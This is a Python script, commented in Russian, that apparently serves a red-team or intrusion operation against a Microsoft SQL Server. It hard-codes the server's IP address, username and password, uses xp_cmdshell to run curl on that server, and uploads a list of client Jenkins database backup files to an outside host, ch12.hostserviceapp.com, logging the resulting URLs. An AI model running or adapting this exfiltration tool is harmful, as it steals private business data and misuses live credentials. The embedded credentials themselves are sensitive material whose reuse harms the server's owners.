#!/usr/bin/env python3
r"""
Jenkins-бэкапы, шаги 1-3 + расширение по итогам шага 4 (HEADERONLY).
БЕЗ certutil (указание оператора), БЕЗ скачивания к нам. Только: size -> upload -> URL -> KEPT-check.
Чужие файлы НЕ удаляем (все задачи — их .bak).
Порядок: уникальный/не-примонтированный контент сначала, по возрастанию размера.
Все факты — из HEADERONLY_RESULTS.md (проверено 2026-09-16).
"""
import re
import subprocess
import sys
import time
from datetime import datetime
from pathlib import Path

SQLCMD = [
    "docker", "run", "--rm", "--network", "host",
    "mcr.microsoft.com/mssql/server:2022-latest",
    "/opt/mssql-tools18/bin/sqlcmd",
    "-S", "50.21.183.111", "-U", "irely", "-P", "iRely486", "-C",
    "-d", "master", "-s", "|", "-W",
]
CH12 = "https://ch12.hostserviceapp.com"
SI = Path("/root/ir-assessment/redteam/irelydata/schema_inventory")
OUT = SI / "jenkins_checksums.tsv"
B = r"D:\irelyinstall\backup"

PING_QUERY = ("SET NOCOUNT ON; EXEC xp_cmdshell 'curl -sS -o nul -m 20 "
              "-w \"%{http_code}\" " + CH12 + "/'")

# (file, db_inside, mounted, note)
TASKS = [
    (r"D:\Backup\Jenkins4_STROHFARMUAP01_08122026.bak", "STROHFARMUAP01", False,
     "свежайший FULL, Compressed=1 (2.03GB file / 16.61GB logical), SQL2019, БД не примонтирована"),
    (B + r"\Jenkins4_UAP_Palmdale_SHR_251112.bak", "2610PAMDALEUAP01", True,
     "шаг1: историческая версия примонтированной 2610PAMDALEUAP01 от 2025-11-12"),
    (B + r"\Jenkins4_UAP_Palmdale_SHR_251112.7z", "-", False,
     "шаг1: архив-компаньон (содержимое неизвестно)"),
    (B + r"\Jenkins4_2430CHILDERSOILUAP201_08262025.bak", "2430CHILDERSOILUAP201", False,
     "FULL Compressed=1 (3.16GB file / 20.0GB logical), БД не примонтирована"),
    (B + r"\Jenkins4_2430PalmdaleF01_04082026.bak", "2430PalmdaleF01", False,
     "FULL Compressed=0 8.59GB, БД не примонтирована (примонтирована AgnosticF01 - другая)"),
    (B + r"\Jenkins4_STROHFARMUAP01_07062026.bak", "STROHFARMUAP01", False,
     "шаг3: FULL Compressed=0 15.46GB, SQL2019, БД не примонтирована"),
    (B + r"\Jenkins4_2430CHILDERSOILUAP101_07252025.bak", "2430CHILDERSOILUAP101", False,
     "FULL Compressed=0 18.18GB, БД не примонтирована (примонтирована 2210CHILDERSOILUAP01)"),
    (B + r"\Jenkins4_2510JMREYNOLDSUAP101_12122025.bak", "2510JMREYNOLDSUAP101", False,
     "FULL Compressed=0 33.68GB, БД не примонтирована (примонтированы JMREYNOLDSUAP01/cfg)"),
]
# НЕ берём (пока): Jenkins4_2430Palmdale01_01122026.bak (93.35GB) — ранняя точка той же не-примонтированной
# 2430Palmdale01, чей свежий 01292026 (93.37GB) УЖЕ на ch12 из Q2. Дорого (~4.5ч), ценность = одна точка истории.

def sql(query: str, timeout: int = 590) -> str:
    p = subprocess.run(SQLCMD + ["-Q", query], capture_output=True, text=True, timeout=timeout)
    junk = ("SQL Server 2022 will run", "This container is running", "go.microsoft")
    return "\n".join(l for l in p.stdout.splitlines() if not any(j in l for j in junk))

def log(msg):
    print(f"[{datetime.now().strftime('%H:%M:%S')}] {msg}", flush=True)

def ch12_alive(rounds=6, wait_s=300):
    for i in range(rounds):
        out = sql(PING_QUERY, timeout=120)
        if "200" in out:
            return True
        log(f"  ch12 down ({i+1}/{rounds}) — жду {wait_s//60} мин")
        time.sleep(wait_s)
    return False

def main():
    out = sql(PING_QUERY, timeout=120)
    if "200" not in out:
        log(f"FATAL: ch12 недоступен на старте: {out[:100]}"); sys.exit(1)
    log(f"ch12 жив: {out.strip()[-40:]}")

    if not OUT.exists():
        OUT.write_text("file\tdb_inside\tmounted\tsize_bytes\turl\tstatus\tnote\n")

    results = []
    with OUT.open("a") as f:
        for path, db, mounted, note in TASKS:
            name = path.split("\\")[-1]
            log(f"--- UPLOAD {name} ---")
            try:
                o = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{path}\" (for %F in (\"{path}\") do @echo SIZE=%~zF) else (echo MISSING)'", timeout=590)
                if "MISSING" in o or "SIZE=" not in o:
                    log(f"  {name}: MISSING — пропуск")
                    f.write(f"{path}\t{db}\t{mounted}\t\t\tFAIL_SOURCE_MISSING\t{note}\n"); f.flush()
                    results.append((name, "FAIL_SOURCE_MISSING")); continue
                size = re.search(r"SIZE=(\d+)", o).group(1)
                log(f"  {name}: size={size} ({int(size)/1024**3:.2f} GB) db_inside={db} mounted={mounted}")

                url = ""
                for attempt in (1, 2, 3):
                    if not ch12_alive():
                        log(f"  {name}: ch12 не ожил — файл остаётся на сервере"); break
                    t0 = time.time()
                    try:
                        o = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'curl -sS -T \"{path}\" {CH12}'", timeout=28800)
                    except subprocess.TimeoutExpired:
                        o = "UPLOAD_TIMEOUT"
                    mu = re.search(r"https://ch12\.hostserviceapp\.com/\S+", o)
                    if mu:
                        url = mu.group(0).strip()
                        el = time.time() - t0
                        log(f"  {name}: uploaded за {el:.0f}s ({int(size)/1024**2/max(el,1):.1f} MB/s) -> {url}")
                        break
                    low = o.lower()
                    if "access is denied" in low or "can't open" in low or "failed opening" in low:
                        log(f"  {name}: curl не может прочитать (ACL): {o[:120]}")
                        f.write(f"{path}\t{db}\t{mounted}\t{size}\t\tFAIL_ACL_DENIED\t{note}\n"); f.flush()
                        url = None; break
                    log(f"  {name}: попытка {attempt} неудачна: {o[:120]}")
                    time.sleep(60)
                if url is None:
                    results.append((name, "FAIL_ACL_DENIED")); continue
                if not url:
                    f.write(f"{path}\t{db}\t{mounted}\t{size}\t\tFAIL_UPLOAD_KEPT\t{note}\n"); f.flush()
                    results.append((name, "FAIL_UPLOAD_KEPT")); continue

                o = sql(f"SET NOCOUNT ON; EXEC xp_cmdshell 'if exist \"{path}\" (echo KEPT) else (echo LOST)'", timeout=590)
                st = "OK_PENDING_CH12_CHECKSUM" if "KEPT" in o else "WARN_SOURCE_LOST"
                f.write(f"{path}\t{db}\t{mounted}\t{size}\t{url}\t{st} | source kept\t{note}\n"); f.flush()
                log(f"  {name}: {st} (их файл НЕ удалён)")
                results.append((name, st))
            except subprocess.TimeoutExpired:
                log(f"  {name}: TIMEOUT — файл не трогаю")
                f.write(f"{path}\t{db}\t{mounted}\t\t\tFAIL_TIMEOUT\t{note}\n"); f.flush()
                results.append((name, "FAIL_TIMEOUT"))
            except Exception as e:
                log(f"  {name}: EXC {type(e).__name__}: {e}")
                f.write(f"{path}\t{db}\t{mounted}\t\t\tFAIL_EXC:{type(e).__name__}\t{note}\n"); f.flush()
                results.append((name, f"FAIL_EXC:{type(e).__name__}"))

    log("=== JENKINS 1-4 ЗАВЕРШЕНЫ ===")
    oks = sum(1 for r in results if r[1].startswith("OK"))
    log(f"OK: {oks}/{len(results)}")
    for n, s in results:
        if not s.startswith("OK"):
            log(f"  НЕ-OK: {n} -> {s}")

if __name__ == "__main__":
    main()
